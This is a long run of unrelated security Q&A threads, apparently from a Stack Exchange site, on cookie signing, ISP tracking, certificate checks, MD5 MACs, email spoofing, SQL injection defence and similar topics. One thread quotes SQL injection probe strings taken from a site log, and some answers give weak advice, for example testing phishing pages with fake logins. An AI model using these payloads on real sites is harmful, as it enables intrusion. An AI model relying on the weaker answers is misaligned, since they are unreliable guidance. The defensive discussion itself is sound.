Since the cookie isn‘t encrypted, the system is most susceptible to Man-in-the-middle (MITM) attack. The cookie can be intercepted on the network and then used to log in as the user. Putting UUID and OpenID in cookie without signing (via salted HMAC-SHA1) is bad. Actually, OpenID may and should be stored in database, while signed cookie will contain only "user id"—be it UUID or monotonically increasing integer, which is simply reference to database record in users table. It is how it is done in "real world": “log in” form sets such cookie, “log out” form removes it (ensure that they both work only on HTTP POST, and do not forget about CSRF protection).

Even though attacker will be able to intercept such signed cookie via MITM attack, he wouldn’t be able to change it. That is, you’ll be able to detect such tampering, and you’ll be able to refuse to accept such cookie.

Use of HTTPS will mitigate MITM attack, therefore use HTTPS + cookie signing.


Can my ISP see what sites I visit if I use a private DNS provider? In order to browse anonymously, I use SOCKS proxies, flush cookies and cache, and pay for a private DNS service.

Sometimes, I need to browse without using all of those, but I keep my private DNS service turned on.

Can my ISP track exactly what sites and pages I visit?

Yes, your ISP can see what websites you are visiting. They can do this whether the sites are using HTTPS or not. They can do this whether you use their DNS servers or not. And they can link these to a specific account. Basically, your data is going over their network, and they need to route it to the correct location. All an alternative DNS provider offers is a different lookup between a domain name and an IP address - the IP data still goes through your ISP, along with your request headers, which have to include the domain name (although no specific URLs).

They can't do it if you use a VPN or TOR - both of these would show as a single connection to a different computer. They could still see how much data you were sending and receiving, although there are ways to hide that too. However, the VPN provider would be able to see what sites you were connecting to, as would a TOR exit node provider. In the case of a VPN provider, this might be linked to a specific account, or source IP, in a way that could be tracked - you have to trust them. In the case of TOR, the exit node shouldn't be able to link data back to a specific source IP.


Spoofing an NTP server to allow bruteforce on any smartphone We all know that smartphones (i'll take iPhone as an example) rely on SNTP/NTP servers to update a device's time and date. So, by creating an SNTP server that mimics Apple's server, we can actually change a device's date and time over WIFI in order to bruteforce the passcode of the device without waiting the timeout period.

(By changing the device time over and over via WIFI)

Isn't that possible?

Answer: No, a bruteforce attack would most likely fail.

http://www.payetteforward.com/my-iphone-is-disabled-connect-to-itunes-fix/

According to this site, and anyone who has ever been a mean big brother, there are only 10 times you can attempt to unlock an iPhone before it is completely locked and needs to be restored.

1-5 failed attempts - The phone will not lock.

6 failed attempts - The phone will lock for one minute.

7 failed attempts - The phone will lock for 5 minutes.

8 failed attempts - The phone will lock for 15 minutes.

9 failed attempts - The phone will lock for 60 minutes.

10 failed attempts - The phone will be disabled and will need to be restored.

So, as previously stated, 10 attempts will be your maximum. Also, Apple has released several new ways to set a passcode on your phone without having the use the 4 digit numeric code, which has a maximum of 10,000 passcodes (0000 - 9999). Users can use a 6 digit passcode which has a maximum of 1,000,000 possible codes (000000 - 999999), or even a phrase, which has a much greater number of possibilities for passwords.


Hostname validation for server-side certificate I have a reverse proxy which connects to an application which presents a certificate used for PKI based validation. I was wondering if I should enforce the condition that the common name (or subjectAltName) in the certificate match with the hostname brought along with the client. The relevant RFC 6125 says:

If the hostname does not match the identity in the certificate, user oriented
clients MUST either notify the user (clients MAY give the user the opportunity to
continue with the connection in any case) or terminate the connection with a bad
certificate error.  Automated clients MUST log the error to an appropriate audit
log (if available) and SHOULD terminate the connection (with a bad certificate
error). Automated clients MAY provide a configuration setting that disables
this check, but MUST provide a setting which enables it.

For the reverse proxy scenario, is the server-side connection an "automated client" or a "user-oriented client"?

It depends:

If you expect a specific certificate the most secure way is to configure your reverse proxy that it expects exactly this certificate. In this case the actual subject of the certificate does not matter and it can also be self-signed, because the reverse proxy will not accept anything else than this certificate.
If instead you accept a certificate as long as it is signed by a trusted CA then you need to additionally check the subject. Otherwise a man-in-the-middle attack could be done by any other certificate which was issued by a trusted CA and at least if you use public CA then these certificates are easy to get without any kind of hacking.

For certificates signed by a public CA usually the name in subjectAltName/CN is checked against the actual hostname of the server (from the URL) because this the part which is considered specific enough and it is expected that nobody can get a certificate for a hostname (s)he does not own. If you have another property which can be used as secure identifier with the same properties than this could be used instead too, but public CA usually want the hostname.

How you propagate the error in case the certificate does not match depends on the exact design of your application. But usually the reverse proxy is part of the server side and in this case errors in the validation mean that there is something wrong at the server side which need to be fixed there. Thus you could tell the client that something is wrong but the actual details should probably not be told to the client.


Verify the age of data We learned a lot about cryptography in class already, like encoding messages or signing them, creating shared secrets between network nodes, symmetric and asymmetric encryption methods...

I am wondering: Is it possible, with the given algorithms and concepts of encryption, to prove that a given data set has a given age?

I want to have a little chunk of meta information (like when signing data -> the datas hash encrypted with the private key) that allows anyone to verify that the data they are viewing is still the same as it was e.g. 5 days ago. Think of age verified security camera recordings for example.

Is this currently possible? If not, what are the problems that prevent such systems from working? Could it be possible somehow? Share your wild ideas please.

Yes, you could do that with a block chain https://en.m.wikipedia.org/wiki/Blockchain

Block chain acts as a distributed ledger, that ledger could contain hashes of video files. Block chain entries are time-stamped and as long as you trust the blockchains current state you could verify the previous hashes haven't changed by verifying app the entries since then.

Here's a research paper talking about storing video hash in the Bitcoin block chain transaction history SECURING VIDEO INTEGRITY USING
DECENTRALIZED TRUSTED TIMESTAMPING
ON THE BITCOIN BLOCKCHAIN


Store and Distribute Java Symmetric Key I am generating an AES key as in follows and converting the key into a string.

 try{
      SecretKey secretKey = KeyGenerator.getInstance("AES").generateKey();

      String encodedKey = Base64.getEncoder().encodeToString(secretKey.getEncoded());

    }catch(Exception ex){}

Now I need to store and distribute this key to a different location ( eg : Different server ). The idea is to perform the encryption and decryption in two different locations using the same shared key.

Please let me know the best way to store this string value securely. I know the Keystore is not an option here because it is used for PKI.

Storing the key:
As mentioned in this answer you can store the secret key safely in two ways:

A key file
A config file

You have to ensure that both of these files are not visible to everyone and neither can be served by the web server.

Distributing the key:
As for distribution, you can send the key via an SSL communication between the servers. This will ensure that you are sharing the key with legitimate parties and also handle the secure channel to distribute the key.


signatureAlgorithm vs. tbsCertificate -> signature From the X.509 RFC:

Certificate  ::=  SEQUENCE  {
     tbsCertificate       TBSCertificate,
     signatureAlgorithm   AlgorithmIdentifier,
     signature            BIT STRING  }

TBSCertificate  ::=  SEQUENCE  {
     version         [0]  Version DEFAULT v1,
     serialNumber         CertificateSerialNumber,
     signature            AlgorithmIdentifier,

Seems to me that  tbsCertificate -> signature and signatureAlgorithm are redundant?  That they should always be the same?

As such why include both? Why not just include one or the other?

Both fields should be identical. The redundancy was apparently meant to defeat an obscure attack vector relying on weaknesses that existing signature algorithms do not have, and for unspecified goals. As Peter Gutmann says in his X.509 style guide, when talking about the signature field in the TBS:

  There doesn't seem to be
  much use for this field, although you should check that the algorithm
  identifier matches the one of the signature on the cert (if someone can forge
  the signature on the cert then they can also change the inner algorithm
  identifier, it's possible that this was included because of some obscure attack
  where someone who could convince (broken) signature algorithm A to produce the
  same signature value as (secure) algorithm B could change the outer,
  unprotected algorithm identifier from B to A, but couldn't change the inner
  identifier without invalidating the signature.  What this would achieve is
  unclear).

A sane implementation of X.509 certificate validation will use the outer field (signatureAlgorithm) to verify the signature, and will just check afterwards that the inner signature field matches the outer field (but failing to do that last verification will not actually harm security).


Documentation for GDPR best practices for partially masking email addresses I must give certain employees access to a report which contains email addresses.  I would like to redact or partially mask these email addresses, but I am having trouble finding official guidance on how to properly mask email addresses so that they cannot be de-anonymized.

From googling, I can see others are going with masked addresses in the following formats (assuming the email address to be masked is firstname.lastname@provider.com):

f***e@provider.com.au

f***e@p***r.com.au

f***e@p***r.***

I'm concerned that none of the information I'm finding is official, and I have no idea if this will stand up to an audit.

Can anyone point me to official guidance on how to partially mask email addresses so that they are no longer considered to be PII by the GDPR, please?

There is no official guidance because this is not a GDPR enforced requirement. GDPR does not regulate specific security measures beyond making recommendations about what you should consider. Since you consider doing something like that, you in theory should do a Data Protection Impact Assessment to identify levels of risk may be associated with your situation and then decide on how to proceed.

Generally, using username@provider.com turned into u******e@provider.com is perfectly fine for most cases, since the domain name does not identify a person. However, if your specific intent is to also protect domain names (which is a thing again determinable by doing a Data Protection Impact Assessment), then you could extend the protection to a format covering also the domain: u******e@p******r.com .


What are disadvantages of a reverse OTP flow, where OTP is visible on a website and is retyped on authenticated mobile client? I want to authenticate a user on a 3rd party website (this is more or less an OAuth flow, so this website will be able to perform actions on behalf of my user afterwards, e.g. receive some of her data). My user is already authenticated in my mobile app.

Now usually multiple websites implement OTP in a manner where I enter a code that is generated on a mobile device (SMS message, authenticator app or any native app).

I would like to reverse this flow, i.e. generate an OTP on a website and allow user to input it in a mobile app, where he is already authenticated.

On a 3rd party website there might be a new, child window opened that downloads OTP directly from my server via an API.

Question: are there any disadvantages to this flow?

PS
I see the following advantage: in normal flow, a fake 3rd party website would "steal" my OTP. In my flow, even if they could see the OTP, the actual matching is performed only after code input in an authenticated environment. Before user inputs the OTP, it is not even associated with the user!

Your "advantage" is wrong; this doesn't make you any more secure. Instead of trying to trick the user into typing the OTP from the authenticated app into the phishing page, attackers will just try to trick the user into typing the OTP from the phishing page into the authenticated app.


How to respond to repeated sql injection attempts A repeat visitor to my site keeps manipulating query strings. For example a valid page address would look like:

myPage.php?subject=3

This visitor has visited several times and keeps entering the following addresses:

myPage.php?subject=3%26%26SlEEp%283%29
myPage.php?subject=3%20AND%201=1
myPage.php?subject=3%20and%201%3E1
myPage.php?subject=3%20and%201%3D1
myPage.php?subject=32121121121212.1

I've tried blocking their ip, but they just return with a different one, although (so far) they've only used French ip addresses. On their latest visit, their HTTP_USER_AGENT was undefined, but in the past has held these values:

  Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; elertz
  2.4.179[128]; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)

  Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; dial; E-nrgyPlus;
  .NET CLR 1.1.4322; InfoPath.1)

  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
  like Gecko) Chrome/57.0.2987.133 Safari/537.36

  Opera/9.27

I'm currently tracking all open sessions on the site. Would it be an effective and reasonable tactic to also track query failures and end any session that exceeds a specified amount of failures? If so what is a reasonable number of failures? Should I also end all sessions with an undefined user agent?

There is a similarly titled question here How should I detect and respond to bad actors who perform SQL injections?, but it seems specific to "Microsoft Azure".

If it is happening too often and repeatedly it is most likely a bot, the thing is in first hand, if it is not important to you try to use least as possible query appended urls instead use myPage.php/3 3 will internally rewritten by your server or front controller. I am not saying it will solve your problem but it will save you from giving your variable names to internet.

And for now you should block any access on condition which are trying to input patterns you mentioned above. create a regex which matches the above input patterns and block them or warn them whatever you feel. don't do them manually if they are bots.


Is it possible to recover a Diskcryptor volume password? Must admit to being dumb: I have encrypted one partition from my external hard drive with the AES-Twofish-Serpent algorithm and used a key file with a password.

My PC ran into a problem and now the file is empty. This was a year ago, and now I need that info. I checked and I wasn't able to recover the information in the file.

I know how long the string is, somewhere between 22-28 characters and I know all letters, symbols, and numbers that can be in there.

Is it somehow possible to recover the data or to make a script to bruteforce using my information with words, numbers, and symbols I know are included?

Sadly, no.

The whole point of the system's security is that there is no way to retrieve it other than brute forcing, and at that password length the entire key space will take a considerable amount longer than your life to brute force!

Unless you wrote it down or stored it elsewhere, you'll need to assume whatever was in that encrypted space is gone.


Are regular expressions vulnerable to code injection? Aside from having an excessive input length, is there a way of doing an exploit with a regular expression (assuming the underlying language/platform is secure)?

Practically I was wondering if the following solution in StackOverflow for using LIKE-like queries in MongoDB would be secure namely:

var query = { Zip: new RegExp('^' + zipCode) };
collection.find(query);

I know they can put in invalid queries but that's not relevant.

If the buffer holding the regular expression is of sufficient length and regular expression parser is implemented using a regular language and not using a Turing complete language  (more accurately, using the regular-language-instruction subset of a Turing complete language), it should be impossible to do code injection.  A feature of regular languages is that very simple cases and control flow is sufficient to implement the parser.  If implemented with these simple programming tools, then hacks should be very difficult.

Please keep in mind that one of the biggest vulnerabilities is the buffer-overrun code-injection attack.  The way to avoid this attack is to write really tight and accurate code.  Check your buffer length in maniacal fashion to avoid problems.


Is 2008 Server Core installation the most secure deployment? In a Windows environment where security is more important than flexibility is Windows 2008 R2 Core Server installation the best option? How much more difficult is it to setup an environment with Server Core?

Theoretically Core is more secure than a full installation because of a lower attack surface.

Setting up a core installation requires everything be done via command line, but there are tons of resources out there to help you in the process.  With that being said, it is harder to set up than a full installation because it is all manual.

I would recommend you move this over to Sever Fault though.


Application vs Device - Data encrypted at rest I have a mobile device that does not have the device's encryption settings enabled. Therefore, data stored on the device is not encrypted at rest.

I have installed an MDM containerised application on a device which uses strong methods for encrypting data in transit.

Is the data stored within this application separate to the rest of the data on the device? Is there anyway of ensuring data within an application is encrypted at rest, while the rest of the device is unencrypted (at rest)?

It's difficult to say for certain without knowing which MDM platform you are utilizing.
I can tell you from personal experience that Mobile Iron containerizes and encrypts data without requiring full device encryption.

Does Web@Work secure cached data?
Yes. All cookies and cached data is encrypted as a part of the
AppConnect container. This data can be wiped as a part of a selective
wipe, should the device fall out of compliance.
How do you make sure a rogue app does not capture corporate data?
MobileIron AppConnect encrypts and stores all AppConnect Enabled (ACe)
app data in a virtual container on the device. Rogue applications
cannot access the data stored in the virtual container. In addition IT
administrators can also define policy on how data is shared between
ACe applications.
What kind of apps does AppConnect work with? HTML5, etc.
AppConnect can secure both in-house and 3rd party applications.
Security for HTML5 app is provided by the AppConnect enabled
Web@Worksecure browser. A complete list of AppConnect enabled 3rd
party apps is available here. In addition to device-at-rest
encryption, AppConnect also leverages per-app VPN to secure
data-in-transit.


Incident Responders: Can you give some examples of Incidents / types of incidents that are suitable for fully or partly automated response? You setup security monitoring - either a full commercial SIEM/SOC or something home-cooked (e.g., rsyslog -> OSSIM / MozDef / Splunk / ...).
You also setup some rules so that some event triage is done - and you only get alerts for potential Incidents.

I'd like to know what automation is being done beyond this point. Not just more alerting / sending emails or reports - but something that attempts to resolve the incident itself.

Some use cases and some examples of automation solutions (whether standard or DIY) would be helpful.

Of the top of my head I wouldn’t say anything. The point of a SoC/SIEM is to bring things to the attention of a human analyst in order to evaluate the incident and decide on what actions to do next. Anything you don’t want a human to get “eyes on” should be tuned out of the SIEMs rule set.

There might be certain low risk things you want to automate, for example every time there is an AV hit with the malware being quarantined or deleted a ticket is raised to have the box rescanned while the analyst carries out the initial investigation, but typically this wouldn’t be done by the SIEM. (Although some SIEMs will have this capability and some SoC will use a SIEM to do this.)

A mature SoC will typically have a playbook for common alerts that are not tuned out. For example if x happens then do a, b, c, then escalate to a level two analyst for further investigation. This is more about having a standard operating procedure than automation.


Any vulnerabilities in user input to web Server running Apache and PHP? There is understandably a lot of emphasis on sanitizing user input handed off to PHP on a web server and numerous opinions on doing it.

Can someone please confirm there is no security problems with the following PHP code which may compromise the server through an exploit:

if($_SERVER['QUERY_STRING'] == "kjg68KGH$88@kjhik8768"){
   $_SERVER['QUERY_STRING']=NULL;
   do stuff
} else {
   $_SERVER['QUERY_STRING']=NULL;
   do other stuff
}

or

if($_POST['the-var'] == "kjg68KGH$88@kjhik8768"){
   $_POST=[];
   do stuff
} else {
   $_POST=[];
   do other stuff
}

If there is (I do not see how there could be), then why?

Using weak comparison in PHP is almost always a bad idea as it can lead to bugs and vulnerabilities. See here for an interesting example.

In your case, it should be mostly ok, although there are some corner-cases, eg "0x000000" == "000", "1e1" == "10", or "0xBEEF" == "48879".

Apart from that, there is no way to compromise the server with just the given code.


Is using Chrome and Tor Browser at the same time secure? I question this recently because as I was using the Tor Browser, while in the same time my Google-Chrome was opened, and I right-clicked on a word to search it in 'Disconect', when the page loaded I get message from the AntiScript plugin which really freaked me out:

  NoScript filtered a potential cross-site scripting (XSS) attempt from
  [:chrome]. Technical details have been logged to the Console.

I'm using OpenSuse Tumbleweed (latest version) and I have no firewall, proxy, or VPN stuff.

It seems to be a bug in Tor Browser, as stated here:

  bug report:
  https://www.mail-archive.com/tor-bugs@lists.torproject.org/msg78499.html
  answer:
  https://www.mail-archive.com/tor-bugs@lists.torproject.org/msg81303.html

Check the answer, there is a possible fix.

Regarding your question, that error message always shows "Chrome", it shouldn't be able to see other browser's data.

By the way, pressing ctrl-shift-j opens up the console, where you can check additional information about NoScript.


Is there a secure way to create and distribute Shamir Secrets? This Shamir Secret sharing utility consumes the secret key, and then generates N keys that must be manually distributed to each person.

This is probably fine for most low-security situations, but not suitable in medium or high security scenarios where no-one can know all the keys, or the secret key that was created in the beginning.

Given this new requirement, what pre-existing systems provision the Shamir secrets in a secure manner?  How do they work?
Is there add-in cryptography that makes the secure creation and distribution of Shamir Secrets more trustworthy?

There is no such thing as a one-dimensional scale of security which would allow to rate all or even most scenarios as low, medium or high security. Every scenario has context, requirements, goals, and overall an attack model.

In any case, Shamir's Secret Sharing is "perfect", in that it is one of the very few algorithms which offer unconditional security: even infinitely powerful computers could not break the features offered by that scheme.

What are these features ? Namely:

The algorithm works in a finite field K. Practical implementations use GF(256), i.e. bytes.
Let m be a sequence of elements of K (i.e., some bytes).
Let n be the "number of shares" and t the "threshold" such that n ≥ t ≥ 1.
The algorithm produces n "shares", where each share is a sequence of elements of K of the same length as m. The shares are such that any subset of t shares is sufficient to efficiently rebuild m; but any subset of t-1 shares yields no information whatsoever on m (except, of course, its length).

Regardless of its perfection, the algorithm is only for transit: at the time the shares are produced, the value m exists as a whole in some physical system; and when the value m must be rebuilt, it is rebuilt: it again exists as a whole in some other physical system. The splitting operates only between these two points in space-time. It is sufficient for some usages, some of which being possibly "high security"; I have used it, for instance, to split a backup copy of a master key in a smart card management system (the master key does exist in a specific system; the backup was done to be able to recover from a catastrophic loss such as a flood or fire).

No algorithm does everything. There are scenarios where the security features of Shamir's Secret Sharing do not match that which is needed. In a context of "shares" and "threshold", there are, for instance, group signatures: this is meant for situations where digital signatures must be produced, with no single entity being able to generate signatures on its own. But we also want this property to be maintained even if many signatures are produced. If you wanted to use Shamir's Secret Sharing for that, then you would split a normal signature private key, and rebuild it when signing, but this requires a "trusted system", both for key generation and key usage. That system would, transiently, acquire knowledge of the full key. If this is unacceptable to you, then you have to do something else, and that's what group signature algorithms are meant for. A group signature allows for a signature to be generated by the collective actions of sufficiently many key share owners, without the private key being disclosed to any of them, however dishonest he may be.

Group algorithms are inherently more restrictive than Shamir's Secret Sharing since they do not, by definition, rebuild the secret that was split; as such, they can only compute a specific function involving the secret (e.g. signature generation or asymmetric decryption). On the other hand, good group algorithms can avoid to some extent the need for a trusted system (many group signatures have honesty thresholds: if sufficiently many malicious key share owners cooperate with each other, they may gain some extra power).

Group algorithms are no more or no less secure than Shamir's Secret Sharing; they just do something else.


Is a TLS 1.2 certificate backwards compatible? I have a site bound to a TLS v1.2 certificate.  Can clients that only support TLS 1.0 or 1.1 still communicate over port 443 with my site?  I.e., will the web server drop down to TLS 1.0 or 1.1 if it determines that a given client is not capable of negotiating TLS 1.2?  Is the TLS v1.2 certificate capable of accommodating TLS 1.0 and/or TLS 1.1?

Cert will work fine with any SSL/TLS version. Run Test to make sure.
There is no such thing as a "TLS 1.2 certificate". (It'll be an "X 509 v3" certificate.) And it'll support any existing SSL/TLS version. You'll be fine.

will the web server drop down to TLS 1.0 or 1.1 if it determines that a given client is not capable of negotiating TLS 1.2?

Yes, if you configure your web server to support more than one protocol version, then the version negotiation will settle for the highest version supported by both client and server.
But to make sure just run your site through the SSL Labs tester: https://www.ssllabs.com/ssltest/


Mail address spoofing : how to protect myself I have a mail server, postfix for SMTP and Dovecot for IMAP, both require authentication. I just received an email from MY address, but coming from an other SMTP server. And of course, in message source, I can see this server from which it was sent, but not the user who did that, only its machine name "debian.world".

How can I protect myself against this ? Because it basically means that the guy can send emails to anyone using my address, and I don't think random people will check message source to check from which SMTP it comes from. Can i configure something on my server which will check authencicity of a sender ? Or should I write a whole script on my own ?

One more question : how am i supposed to read this :

Return-Path: <myaddress@myserver.com>
Delivered-To: <myOTHERaddress@server.com>
Received: from my.imap.myserver.com
    by my.imap.myserver.com (Dovecot) with LMTP id aEG5JBhePlnSDgAAz5VDmw
    for <myOTHERaddress@server.com>; Mon, 12 Jun 2017 11:25:44 +0200
Received: from smtp25.services.sfr.fr (smtp25.services.sfr.fr [93.17.128.25])
    by my.smtp.myserver.com (Postfix) with ESMTPS id C693C3F0FE
    for <myOTHERaddress@server.com>; Mon, 12 Jun 2017 11:25:43 +0200 (CEST)
Received: from debian.world (45.159.2.109.rev.sfr.net [109.2.159.45])
    by msfrf2635.sfr.fr (SMTP Server) with ESMTP id 055631C00081D
    for <myOTHERaddress@server.com>; Mon, 12 Jun 2017 11:25:28 +0200 (CEST)
Received: from debian.world (45.159.2.109.rev.sfr.net [109.2.159.45])   (using TLSv1.2
    with cipher ECDHE-RSA-AES128-SHA256 (128/128 bits)) (No client certificate requested)
    by msfrf2635.sfr.fr (SMTP Server) with ESMTPS   for <myOTHERaddress@server.com>;
    Mon, 12 Jun 2017 11:25:22 +0200 (CEST)
Message-ID: <953862.473459111-sendEmail@debian>
From: ME <myaddress@myserver.com>
To: "myOTHERaddress@server.com" <myOTHERaddress@server.com>
Subject: etc...

(I've received a mail from myaddress@server.com on my address myOTHERaddress@server.com, but he also sent me a mail from python@contact.fr for example)

What does that mean ? The email comes from smtp25.services.sfr.fr, but what is msfrf2635.sfr.fr ? Why is there 3 involved SMTP ? I'd like to understand this please...

Thank you fellows.

PS: I changed some crucial informations because I know the guy who did that, and I don't want him to have troubles with his servers. The msfrf2635.sfr.fr is unchanged though.

To stop others from sending emails in your name you can use SPF. This is a DNS-record that publishes all IP-adresses that are allowed to send mail from that domain.

You can also use DKIM to sign a message with a private key, the public key is published in a DNS-record and the receiving server can verify with that key if it was really you who send it.

By implementing both SPF and DKIM you should be able to stop other people impersonating your email-address.

To keep track of when mail delivery fails you can use DMARC. This can be configured as to what a mail-server should do when the SPF or DKIM verification fails and also what email-address to send a report to.


MITM vs promiscuous mode? What is the advantage(s) (besides the possibility to alter network traffic) of using MITM techniques over just sniffing in promiscuous mode?

On a switched network, promiscuous mode does not show you any additional traffic because the network switch will only forward packets destined for your MAC address to your port on the switch.  In the case of a MITM, you can use ARP spoofing or other MITM techniques to get clients to connect through you, such that you can see their traffic.

As you point out, a MITM can also conduct active attacks (tamper/modify/drop traffic) to further benefit their objectives.


If password expiration is applied, should door-lock expiration be applied too? After reading some topics on here about password expiration, and also after reading this comment, a question arose in my mind: if we apply password expiration for the safety of users, should our door locks' keys also expire?

By door lock, I mean any physical restriction access we might have, e.g., lock(s) on the server room door, on the company's building entries (including maybe the backdoor for firefighters or so), vaults, etc.

For physical key-based door locks, this would mean issuing a new metal key every X months/days/whatever, get the old key back, and provide the new key to users (assuming they still are allowed to open the door). Sounds pretty heavy and complex, but it might help against copied keys or so.

For electronic-based door locks, this would mean reissuing new passwords/key accesses so the RFID/whatever card would need an upgrade with the new access key. Sounds lighter to do, even though it still requires all employees that are allowed access to do the upgrade one way or another. Here, I assume the electronic card holds a "session token" somehow, not a never-changing user ID that the lock would compare to a database of allowed users (in such a case, the user ID itself on both card and DB would need to be rotated).

So, is such a policy applied in some companies, standards, etc., or is it just a dumb idea I had?

Edit:

IMO, it indeed seems like quite a heavy process (more something you do after you know a key has been compromised), but maybe you are aware of high-risk companies or specific companies that do such rotation? Then, for what reasons (if both are not confidential!)?

You asked, ‘if passwords should expire periodically, then should door locks expire periodically?’.  Well, from a false premise you can derive any conclusion!  The premise of periodic password expiration is foolish and counterproductive and damages security by imposing pointless administrivia on users for feeble defense against hypothetical attack vectors.

Of course, if you have evidence that a key has been compromised—e.g., in a photograph published by a major world newspaper—then it certainly may be prudent to change the locks, as it may be prudent to change your Facebook password after Facebook reported logging passwords in plaintext for years.


What is updated with "Update Root Certificates" enabled? What is the equivalent in Windows 2008R2? What root certificates are/are not updated when the following checkbox is checked?

Additional questions

If I manually remove a root certificate, will this service replace that very certificate?
What is the equivalent in Windows 2008R2/Win7, I can't find the setting?

Have a look at this page:

http://support.microsoft.com/kb/931125

I think it will answer some of your questions. It even contains some information regarding different operating systems.

Specifically, here is the list of what's updated in the Windows Root Certificate Program:

http://social.technet.microsoft.com/wiki/contents/articles/2592.aspx


Malware on read only device/memory Putting Programs/OS/Files (contain malware) on USB-Stick (USB-stick can do read/write). Let's say this USB stick, after i put Programs/OS/Files on it, is now just theoretically, read-only. I myself still can e.g. copy the programs/OS/Files on the computer where i would connected it, ofc with it the malware. In this scenario, exist malware that can copy itself from USB-stick (which is read-only) to the computer?

The malware has to do at very first step a write execution before it can copy itself on the computer. With Read Only USB stick it can't. True?

Is the computer which the USB-stick is connected too and all the rest of devices that are connected to the computer are relevant for my question? When some malware is allready on the computer or on the connnected devices it can make a copy process (from USB-stick to computer) in any kinda theoretically possible way possbible. True?

If the question is if malware can copy data from USB device to computer, the answer is yes.

If user have read privileges, malware have the same. If the USB device is read-only or read-write does not make any difference.

If the question is about malware writing on a read-only USB device, it depends on the privileges the malware obtained. Usually, a USB device is marked as read-only by the OS, and any program with OS privileges can override the lock and write.

If the device have physical write protect switch, nothing can write on it. There is an astronomically small possibility of a malware written just for your device, that could theoretically bypass the lock exploiting a vulnerability on the device's firmware, but this is so improbable that I would say it's impossible.


What real-world entities have key pairs? I understand the theory behind public-key cryptography, but I want to know what real world entities Alice and Bob stand for in practice.

Does every web server have a key pair?

Every email address?

Every personal computer?

Every database server?

Every mobile device?

Every Facebook account (or other online profile)?

Every WhatsApp account?

You can tell if a web/mail/ssh etc. service is using public-private key encryption by looking at the address bar, and look for "HTTPS"

for example this website (stackexchange.com) is a real world entity that uses public key cryptography.


Is md5(data + key) secure if a proper hmac function isn't available? I need to generate a MAC signature for data on a website, but it's in a HTML templating system where there's only a few functions available. The only hashing function available is md5. Ideally, I'd use a real hmac function, but since that's not an option here, is it secure to have something like the below?
secret_key = '...';
data = '{"user_id": 123, "timestamp": 12345}';
signature = md5(data + secret_key);

I know that hmac-md5 is considered secure, and I know length extension attacks are possible if you use the construction md5(secret_key + data), but is the reverse, md5(data + secret_key) also insecure? It seems like it shouldn't be vulnerable to length extension since the key gets added to the end. Or is this not an issue anyway for the case where data is a JSON string like above, since you can't add characters on to the end of a valid JSON string and have it still be valid?
The specific use-case is that I have a CMS that I'm theming using liquid templates, and the template needs to make requests to a API that I control. I need to know who the user is that's making the request, and verify that they are in fact logged-in on the CMS when the request arrives at my API. My solution is to use the above md5 signature system to sign some info about the user in the Liquid template compilation, and then on my API server I can verify that signature since the secret key is shared between both my API server and the liquid template, so I know the data hasn't been tampered with. The CMS I'm using is a hosted cloud service and provides no other way to verify the identify of the logged-in user thats available to javascript running on the page (at least that I know of).

No, md5(data+key) is not secure. MD5 is vulnerable to dirt cheap collision attacks. It's possible to craft a data1 that is innocuous and that your system, or the code that's calling your system, accepts as valid, and then later submit data2 which is malicious but such that md5(data1+key) = md5(data2+key), without knowing key (the collision works for an arbitrary suffix).
md5(key+data) would be more secure in this respect, because generating collisions would require knowing the key. However, it has other weaknesses, in particular a length extension attack which allows finding a specific md5(key+data2) from md5(key+data1). While the attack doesn't allow any freedom on the content of data2 given data1, sometimes all it takes is to arrange for an admin bit to be 1 instead of 0, and all it might take is a few tries of different data1 until the corresponding data2 works for the attacker.
The good news is that if you have a hash, you do have the corresponding HMAC. HMAC is a simple construction that just requires two applications of the hash function. In JavaScript-like pseudocode (I think this is valid code if xor is a function that performs xor on byte strings and pads key with null bytes if it's shorter, but I'm not competent in JavaScript and it's possible that string encodings make this a bit more difficult):
function hmac_md5(key, data) {
  return md5(xor(key, '\x5c'.repeat(32)) +
             md5(xor(key, '\x36'.repeat(32)) +
                 data));
}

If expressing xor is really impossible, my recommendation would be to keep the important parts of HMAC, but avoid the known pitfalls (collisions, length extension, algebraic relations). You'd end up with a construction that hasn't been studied, but at least you can avoid known weakness within your constraints. The following construct keeps the gist of HMAC, which is to do hash(key+_) with two different keys (here with a constant prefix to ensure that the two hash invocations don't start with a common prefix). It's homemade and hasn't been studied, so it isn't great, but it's better than using a construct which has been studied and broken.
function homemade_mac(key, data) {
  return md5('a' + key +
             md5('bc' + key +
                 data));
}

Using HMAC-MD5, or even worse a homemade construct, is not ideal, and you should arrange to upgrade your system to support an unbroken hash (SHA-2 or SHA-3), if only because it's a sign that other parts of the system are probably using MD5 in a vulnerable way. But HMAC-MD5 does not have any known vulnerability (other than being a bit too short at 16 bytes, but that at most leads to very expensive attacks which only become plausible if you have billions of data objects in your system).


A pair of 'self-signing' hashing functions? Does a pair of (hashing) functions for which

where neither g(x) nor f(x) are constants exists?


How can users be sure the browser's URL bar is not faked? For a user to defend against something like
Don't understand how my mum's Gmail account was hacked , they should pay attention to URL bar before typing their credentials.

But how can you make sure it's really the browsers URL bar that you are looking at?

Phishing site could look non-suspicious by:

Opening a popup without URL bar and emulating the URL bar functionality;
Going into fullscreen mode and emulating URL bar (think mobile device browsers);
Possibly many other ways, depending on device where the browser is running.

Is there a common (to different browsers, operating systems) guideline for users to detect such an attack?

This is a subject that could go on forever, but some common practices against any site that you find suspicious are as follows:

Use google to direct you to the same site
If it happens to be a log in page, log in with completely fake credentials to ensure that it doesn't let you in. If it says "Thanks for logging in." or something similar, then it's a phishing attempt.
Ensure that the link is an https connection (This one is disputed, but it's an early warning sign if you don't see https)

There are many other ways to detect similar phishing sites, but these are my top suggestions.


How to defeat doubling up apostrophes to create SQLi attack? I know some developers double up apostrophes to mitigate SQLi. (This is when the input is ' so it becomes '')

Is there a way to beat this?

This is on MS SQl Server.

I try to show both sides of the security spectrum. Security is important, so you shouldn't just know how to defeat security, you should know how to implement it as well. Thus, I'm going to list a prevention first. If you don't want to read this, scroll down.

How do I prevent SQL injection?

Doubling up apostrophes is not the answer when it comes to security, and it can lead to insecurity. The answer depends on the programming language you're using.

For SQL Server / Oracle / MySQL

With Java, use CallableStatements and PreparedStatements correctly.
With PHP, you'll need the appropriate Prepared Statements.
With C#/VB.NET, you'll need parameterized queries.

Note that these are all the same concepts in every language. They just have different names.

